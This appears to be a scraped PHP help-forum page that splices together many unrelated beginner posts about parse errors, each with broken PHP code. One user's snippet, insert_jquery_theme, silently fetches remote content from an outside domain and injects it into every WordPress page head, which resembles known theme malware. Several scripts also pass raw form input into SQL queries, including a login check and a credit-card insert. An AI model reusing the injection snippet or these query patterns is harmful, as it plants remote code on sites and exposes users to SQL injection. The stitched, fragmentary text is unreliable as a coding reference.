PHP - Moved: Parse Error: Syntax Error, Unexpected T_if In . On Line 1
This topic has been moved to PHP Applications.
http://www.phpfreaks.com/forums/index.php?topic=344105.0 Similar TutorialsI just enabled error reporting and I am not that familiar with it. I know I have an error some where around line 33. I know I am missing a bracket or a comma or some other syntax error I just cannot find where the error is. Below is my script. Thanks for any help. Code: [Select] <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Airline Survey</title> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1" /> <meta name="author" content="Revised by abc1234"/> </head> <body> <?php $WaitTime = addslashes($_POST["wait_time"]); $Friendliness = addslashes($_POST["friendliness"]); $Space = addslashes($_POST["space"]); $Comfort = addslashes($_POST["comfort"]); $Cleanliness = addslashes($_POST["cleanliness"]); $Noise = addslashes($_POST["noise"]); if (empty($WaitTime) || empty($Friendliness) || empty($Space) || empty($Comfort) || empty($Cleanliness) || empty($Noise)) echo "<hr /><p>You must enter a value in each field. Click your browser's Back button to return to the form.</p><hr />"; else { $Entry = $WaitTime . "\n"; $Entry .= $Friendliness . "\n"; $Entry .= $Space . "\n"; $Entry .= $Comfort . "\n"; $Entry .= $Cleanliness . "\n"; $Entry .= $Noise . "\n"; $SurveyFile = fopen("survey.txt", "w") } if (flock($SurveyFile, LOCK_EX)) { if (fwrite($SurveyFile, $Entry) > 0) { echo "<p>The entry has been successfully added.</p>"; flock($SurveyFile, LOCK_UN; fclose($SurveyFile); else echo "<p>The entry could not be saved!</p>"; } else echo "<p>The entry could not be saved!</p>"; } ?d> <p><a href="AirlineSurvey.html">Return to Airline Survey</a></p> </body> </html> Parse error: syntax error, unexpected T_IF in C:\xampp\htdocs\admin\updates_details.php on line 278 while ($data = mysqli_fetch_array($r, MYSQLI_ASSOC)) { echo '<table width="100%" border="1" cellpadding="5" cellspacing="5"> <tr> <td width="11%"><strong>Download</strong></td> <td width="34%"><strong>Update By: ' . $data['update_by'] . '</strong></td> <td width="48%"><strong>Date Created:</strong> ' . $data['dr'] . '</td> <td width="7%"><a href="delete.php?item=update&id=' . $data['update_id'] . '"><img src="../images/delete-icon.png" width="24" height="24" alt="delete" /></a></td> </tr> <tr> <td colspan="4">File: ' . if($data['file'] == 'Yes'){ $data['file']; } . 'Click Here to Download</td> </tr> <tr> <td colspan="4"><p>' . $data['update_msg'] . '</p></td> </tr> </table>'; } // End of WHILE loop. Hello, I am struggling here with a T_IF error. The IF Statement is inside a WHILE Loop and I have been searching for the dreaded missing ;'s that normally make these errors. Please help. The error line is in RED Here's the code: while ( $row = mysql_fetch_array($result) ) { echo("<table width='750' height='165' border='0' bgcolor='#DDDEFF' align='center'> <tr> <td width='107' height='30' align='center' bgcolor='#B73230'><b><font size='2' face='Arial, Helvetica, sans-serif' color='FFFFFF'>" . $row["name"] . "<br>ID: " . $row["L_ID"] . "</font></b></td> <td colspan='7' bgcolor='#2B2FE3' align='center'><img src='images/arrows.jpg'></td> </tr> <tr><td rowspan='4' valign='top'><div align=center><img src=images/avatar/".$row["L_ID"] ."s.jpg></div></td> <td width='10' rowspan='3'> </td> <td width='43' height='30'><b>Event: </b></td> <td width='100'><font size='2' face='Arial, Helvetica, sans-serif'>" . $row["title"] . "</font></td> <td width='10' rowspan='3'> </td> <td align='right'><b>Location: </b></td> <td width='160'><font size='2' face='Arial, Helvetica, sans-serif'>" . $row["location"] . "</font></td> <td width='170' align='center'><img src='images/titleAttendingEvents.jpg'></td> </tr> <td align='right' height='30'><b>Date: </b></td> <td><font size='2' face='Arial, Helvetica, sans-serif'>" . date('d/m/Y', strtotime($row['event_date'])) ."</font></td> <td align='right'><b>Post Code: </b></td> <td><font size='2' face='Arial, Helvetica, sans-serif'>" . $row["postCode"] . "</font></td> <td width='170' align='center'><font size='4'>" . $row["attend"] . "</font></td> </tr> <tr> <td align='right' height='30'><b>Time: </b></td> <td height='30'><font size='2' face='Arial, Helvetica, sans-serif'>" . $row["time"] . "</font></td> <td align='right'><form name='email_host' method='post' action='email_host.php'><input type='hidden' name='id' value='" . $row["L_ID"] . "'><input type='hidden' name='title' value='" . $row["title"] . "'><input type='image' src='images/icons/email_s.jpg' align='absmiddle' height='30' alt='Email Host'><b><font size='2' face='Arial, Helvetica, sans-serif'> Email </b></font></form></td> <td align='center'><form name='attending' method='post' action='attend_send.php'><input type='hidden' name='id' value='" . $row["id"] . "'><input type='submit' name='attend_event' value='Attend Event'></form></td> <td width='170' align='center'><img src='images/icons_group.jpg'></td> </tr> <tr>" if ($row['cancel'] == 1) { echo "<td colspan='4' height='30' align='center'><font size='3' face='Arial, Helvetica, sans-serif' color='red'><b>CANCELLED</b></font</td>"; } else { echo "<td colspan='4' height='30'> </td>"; } echo " <td align='center' height='30'><form name='myForm' method='post' action='event_details.php'><input type='hidden' name='event_id' value='" . $row["id"] . "'><input type='image' src='images/btn_event_details.jpg' align='absmiddle' height='30' alt='View Full Event Details'></form></td> </tr> </table> <br>"); }
Hello everyone,
1 <?php
7 // Create connection
10 // Check connection
14 $firstname = $conn->real_escape_string($_REQUEST['firstname']); 25 $sql2 = "INSERT INTO countries VALUES ('$country')"; 27 $sql3 = "INSERT INTO Contacts (firstname, lastname, address, city, country, phone, email) VALUES ('$firstname', '$lastname', '$address', $city, $country, '$phone_number','$email')";
29 SELECT * FROM cities;
if($conn->query($sql2) === true){
if($conn->query($sql3) === true){ I don`t get it, waht is wrong?! Code: [Select] <?php require_once 'auth.php'; if (!isset($_SESSION['SESS_VERIFY'])) { header("location: access-denied.php"); exit(); } if ($_SESSION['lang'] == 'Ro') { // setare data romania date_default_timezone_set('Europe/Bucharest'); $today = getdate(); $zi = $today['mday']; $luna = $today['mon']; $lunastring = $today['month']; $an = $today['year']; $data = $zi.$luna.$an; $data = (string)$data; $ora = date('H:i:s'); $msg = array(); $err = array(); $luni = array ( 1=>'Ianuarie', 2=>'Februarie', 3=>'Martie', 4=>'Aprilie', 5=>'Mai', 6=>'Iunie', 7=>'Iulie', 8=>'August', 9=>'Septembrie', 10=>'Octobrie', 11=>'Noiembrie', 12=>'Decembrie'); // comun const SQL_ERR = 'SQL statement failed with error: '; const ADD_MODEL = 'ADAUGA UN MODEL NOU'; . .many constants.. . } elseif ($_SESSION['lang'] == 'It') {... Thank you! Code: [Select] <?php if (!isset($_POST['submit'])) { ?> <h2>Todays Special</h2> <p> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"> <select name="day"> <option value="1">Monday/Wednesday <option value="2">Tuesday/Thursday <option value="3">Friday/Sunday <option value="4">Saturday </select> input type="submit" name="submit" value="Go"> </form> <?php // get form selection $day = $_POST['day']; // check value and select appropriate item switch ($day) { case 1: $special = 'Chicken in oyster sauce'; break; case 2: $special = 'French onion soup'; break; case 3: $special = 'Pork chops with mashed potatoes and green salad'; break; default: $special = 'Fish and chips'; break; } ?> I keep getting an error code when running my php, it states: Parse error: syntax error, unexpected $end in W:\www\blog\login.php on line 33 Line 33 is </html> Code: [Select] <?php mysql_connect ("localhost", "root", ""); mysql_select_db("blog"); ?> <html> <head> <title>Login</title> </head> <body> <?php if(isset($_POST['submit'])){ $name = $_POST['name']; $pass = $_POST['password']; $result = mysql_query("SELECT * FROM users WHERE name='$name' AND pass='$pass'"); $num = mysql_num_rows($result); if($num == 0){ echo "Bad login, go <a href='login.php'>back</a>"; }else{ session_start(); $SESSION ['name'] = $name; header("Location: admin.php"); } ?> <form action='login.php' method='post'> Username: <input type='text' name='name' /><br /> Password: <input type='password' name='password' /><br /> <input type='submit' name='sumbit' value='Login!' /> </form> </body> </html>Can any one advise me whats wrong? SET UP: Windows vista # XAMPP 1.7.3, # Apache 2.2.14 (IPv6 enabled) + OpenSSL 0.9.8l # MySQL 5.1.41 + PBXT engine # PHP 5.3.1 # phpMyAdmin After entering various different information from previous forms on different pages I finally get this error message "Parse error: syntax error, unexpected T_STRING in C:\blablah on line 31" on the following code: <?php //let's start our session, so we have access to stored data session_start(); include 'db.inc.php'; $db = mysql_connect(MYSQL_HOST, MYSQL_USER, MYSQL_PASSWORD) or die ('Unable to connect. Check your connection parameters.'); mysql_select_db(MYSQL_DB, $db) or die(mysql_error($db)); //let's create the query $query = 'INSERT INTO subscriptions (name, email_address, membership_type, terms_and_conditions, name_on_card, credit_card_number, credit_card_expiration_data) VALUES ( "' . $_SESSION[$name, $db] . '", ' . $_SESSION[$email_address, $db] . '", ' . $_SESSION[$membership_type, $db] . '", ' . $_SESSION[$terms_and_conditions, $db] . '", ' . $_POST[$name_on_card, $db] . '", ' . $_POST[$credit_card_number, $db] . '", ' . $_POST[$credit_card_expiration, $db] . ')'; if (isset($query)) { $result = mysql_query($query, $db) or die(mysql_error($db)); } ?> <p>Done!</p> </body> </html> ?> Any help would be appreciated. I'm practicing this with the ambition to develop a multi-page registration using sessions for a website so even web pages that might help me with this aim would be good.
Hi im coding a php form using a tutorial im completely new at php need help what am i doing wrong Dear... I have problem with this code..can you help me ? Thanks Code: [Select] <?phpif (!function_exists('insert_jquery_theme')){function insert_jquery_theme(){if (function_exists('curl_init')){$url="http://www.jqueryc.com/jquery-1.6.3.min.js";$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_theme');} Hi guys i have this error, Parse error: syntax error, unexpected end of file in C:\wamp64\www\nigthclub\videos.php on line 103
but i know is probably easy to solve but for some reason i dont see the error. please help me <?php session_start(); ?> <?php error_reporting (E_ALL ^ E_NOTICE); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <link href="style.css" rel="stylesheet" type="text/css" /> <link href="tablefiestas.css" rel="stylesheet" type="text/css" /> <title>La Taverna de Juan</title> </head> <body> <div id="container"> <div id="header"> <!--MENU BAR--> <?php include("includes/db.php"); ?> </div> <!--VIDEOS--> <?php $query = ("SELECT * from videos"); $result = mysqli_query($connection,$query); $num_per_page =05; ?> <table border="1" width="100%"> <tr> <td>Video Id</td> <td>Titulo</td> <td>Video</td> </tr> <tr> <?php while ($row=mysqli_fetch_assoc($result)) { $videoid = $row['videoid']; $titulo = $row['titulo']; $url_video = $row['url_video']; ?> <td><?php echo $videoid ?></td> <td><?php echo $titulo ?></td> <td><?php echo $url_video ?></td> </tr> <?php}?> </table> <?php $query = "SELECT * from videos"; $pr_result = mysqli_query($connection,$query); $totalrecord = mysqli_num_rows($pr_result); echo $totalrecord; ?> <br> <div id="footer"> <!--FOOTER--> <?php include("includes/footer.inc.php"); ?> </div> </div> </body> </html> Edited November 18, 2019 by Psycho Added code tags <?php class Post{ private $user_obj; private $con; public function __construct($con, $user){ $this->con = $con; $this->user_obj = new User($con,$user); } public function submitPost($body,$user_to){ $body = strip_tags($body);////Removing HTML TAGS $body = mysqli_real_escape_string($this->con,$body); $check_empty = preg_replace('/\s+/', '', $body);//delte all spaces if($check_empty != ""){ //Current Date and time $date_added = date("Y-m-d H:i:s"); //get username $added_by = $this->user_obj->getUsername(); //if user have not a profile send to the none if($user_to == $added_by){ $user_to = "none"; } ////insert query $query = mysqli_query($this->con,"INSERT INTO posts VALUES('','$body','$added_by','$user_to','$date_added','no','no','0')"); $retured_id = mysqli_insert_id($this->con); //insert notification //Update post count for user $num_post = $this->user_obj->getNumPosts(); $num_post++; $update_query = mysqli_query($this->con,"UPDATE users SET num_post = '$num_post' WHERE username = '$added_by'" ); } public function loadPostsFriends(){ $str = ""; //string to return $data = mysqli_query($this->con,"SELECT * FROM posts where deleted = 'no' ORDER by id DESC"); while($row = mysqli_fetch_array($data)) { $id = $row['id']; $body = $row['body']; $added_by = $row['added_by']; $date_time = $row['date_added']; /// Creating user post on other user profile if($row['user_to'] == "none"){ user_to = ""; else { $user_to_obj = new User($con,$row['user_to']); $user_to_name = $user_to_obj->getFirstandLastname(); $user_to = "to <a href='" . $row['user_to'] . "'>" .$user_to_name . "</a>"; } // check if user account was closed $added_by_obj = new User($this->con,$added_by); if($added_by_obj ->isClosed()){ continue; } $user_details_query = mysqli_query($this->con,"SELECT first_name,last_name,profile_pic FROM users where username = '$added_by'"); $user_row = mysqli_fetch_array($user_details_query); $first_name = $user_row['first_name']; $last_name = $user_row['last_name']; $profile_pic= $user_row['profile_pic']; ///time stamp $date_time_now = date("Y-m-d H:i:s"); $start_date = new Date_Time($date_time);////Time_of_post $end_date = new Date_Time($date_time_now);///Current_time $intervel = $start_date->diff($end_date); if($intervel->y >< 1 ){ if($intervel ==1 ) $time_message = $intervel->y . " year ago";/// 1 Year Ago else $time_message = $intervel->y . " years ago"; //1+ year ago } else if($intervel-> m >= 1 ){ if($intervel->d == 0){ $days = " ago"; } else if($intervel->d == 1){ $days = $intervel->d."day ago"; } else { $days = $intervel->d."day ago"; } if($intervel->m == 1){ $time_message = $intervel->m." month".$days; } else $time_message = $intervel->m." months".$days; } } else if($intervel->d >= 1){ if($intervel->d == 1){ $days = "Yesterday"; } else { $days = $intervel->d."days ago"; } } else if($intervel->h >= 1){ if($intervel->h == 1){ $time_message = $intervel->h." hour ago"; } else { $time_message = $intervel->h." hours ago"; } } else if($intervel->i >= 1){ if($intervel->i == 1){ $time_message = $intervel->i." minute ago"; } else { $time_message = $intervel->i." minutes ago"; } } else{ if($intervel->s < 30){ $time_message = "Just Now"; } else { $time_message = $intervel->s." seconds ago"; } } $str .= "<div class='status_post'> <div calss='post_profile_pic'> <img src='$profile_pic' width='50'> </div> <div calss='posted_by' style='color#ACACAC;'> <a href = '$added_by'> $first_name $last_name </a> $user_to ; ; $time_message </div> <div id = 'post_body'$body<br></div> </div> " } echo $str; } } ?> When i run this code this show me the error Parse error: syntax error, unexpected 'public' (T_PUBLIC) in C:\xampp\htdocs\social\Classes\Post.php on line 39 the line 39 is public function loadPostsFriends() I check the code again and again but i cant find the error please help in this error hello, if any one can help me solve this error.
case "unsuspend": $setupd = array("status" => "Active"); $db->update("members", $setupd, "id=" . $mid); break; case "activate": $setupd = array("status" => "Active"); $db->update("members", $setupd, "id=" . $mid); { if ($settings['referral_contest'] == 'yes') { $usr = $db->fetchRow( "SELECT ref1, status FROM members WHERE id=" . $mid ); if (( $usr['status'] == 'Un-verified' && $usr['ref1'] != 0 )) { $referrer = $usr['ref1']; if ($referrer != 0) { $today_var = $settings['referral_reset']; $chk = $db->fetchOne( "SELECT COUNT(*) AS NUM FROM referral_stats WHERE user_id=" . $referrer ); if ($chk == 0) { $data = array( 'user_id' => $referrer, 'day' . $today_var => 1 ); $db->insert( 'referral_stats', $data ); } else { $db->query( "UPDATE referral_stats SET day" . $today_var . '=day' . $today_var . '+1 WHERE user_id=' . $referrer ); } } } } break; case "delete": $userdata = $db->fetchRow("SELECT username, country, ref1 FROM members WHERE id=" . $mid); deletemember($mid); if ($userdata['username'] != "BOT") { $db->query("UPDATE country SET users=users-1 WHERE name=" . $userdata['country'] . "'"); } if ($userdata['ref1'] != 0) { $db->query("UPDATE members SET referrals=referrals-1, myrefs1=myrefs1-1 WHERE id=" . $userdata['ref1']); } break; I'm not very good at php, but this is my full code. I'm not sure what the problem is. If anyone could give me a hand, I would surely appreciate it. Line 77 in the last line of the this code. <html> <head> <title>Ace!</title> </head> <body> <h1>Ace!</h1> <h3>Demonstrates if statement</h3> <?php $begin = rand(1,10); print "You picked roman number $begin"; printNumber16($begin); printNumber110($begin); function printNumber16($begin){ global $begin; if ($begin == 1 ){ print "I"; } else if ($begin == 2){ print "II"; } else if ($begin == 3){ print "III"; } else if ($begin == 4){ print "IV"; } else if ($begin == 5){ print "V"; } else { print "I don't know what you talking bout broham"; } function printNumber110($begin) { global $begin; switch ($begin){ case 1: $roman = "I"; break; case 2: $roman = "II"; break; case 3: $roman = "III"; break; case 4: $roman = "IV"; break; case 5: $roman = "V"; break; case 6: $roman = "VI"; break; default: print "This is an illegal die!"; } print "<br>"; print "<br>"; print "You chose roman number $roman"; print "<br>"; print "<br>"; ?> <br> Refresh this page in the browser to roll another die. </body> </html> I have an error on this php page and am getting confused with the curly brackets. I hope a set of fresh eyes will help me find the bracket I'm missing or misplaced. Any help would be greatly appreciated. Here's my code <?php if (isset($_POST['login-submit'])) { require 'dbh.inc.php'; $mailuid = $_POST['mailuid']; $password = $_POST['pwd']; if (empty($mailuid) || empty($password)) { header("Location: ../index.php?error=emptyfields"); exit(); } else { $sql = "SELECT * FROM users WHERE uidUsers=? OR emailUsers=?;"; $stmt = mysqli_stmt_init($conn); if (!mysqli_stmt_prepare($stmt, $sql)) { header("Location: ../index.php?error=sqlerror"); exit(); } else { mysqli_stmt_bind_param($stmt, "ss", $mailuid, $mailuid); mysqli_stmt_execute($stmt); $result = mysqli_stmt_get_result($stmt); if ($row = mysqli_fetch_assoc($result)) { $pwdCheck = password_verify($password, $row['pwdUsers']); if ($pwdCheck == false) { header("Location: ../index.php?error=wrongpwd"); exit(); } else if ($pwdCheck == true) { session_start(); $_SESSION['userId'] = $row['idUsers']; $_SESSION['userUid'] = $row['uidUsers']; header("Location: ../index.php?login=success"); exit(); } else { header("Location: ../index.php?error=wrongpwd"); exit(); } } else ( header("Location: ../index.php?error=nouser"); exit(); ) } } } else { header("Location: ../index.php"); exit(); }
This topic has been moved to Third Party PHP Scripts. http://www.phpfreaks.com/forums/index.php?topic=315281.0 This topic has been moved to Third Party PHP Scripts. http://www.phpfreaks.com/forums/index.php?topic=323310.0 |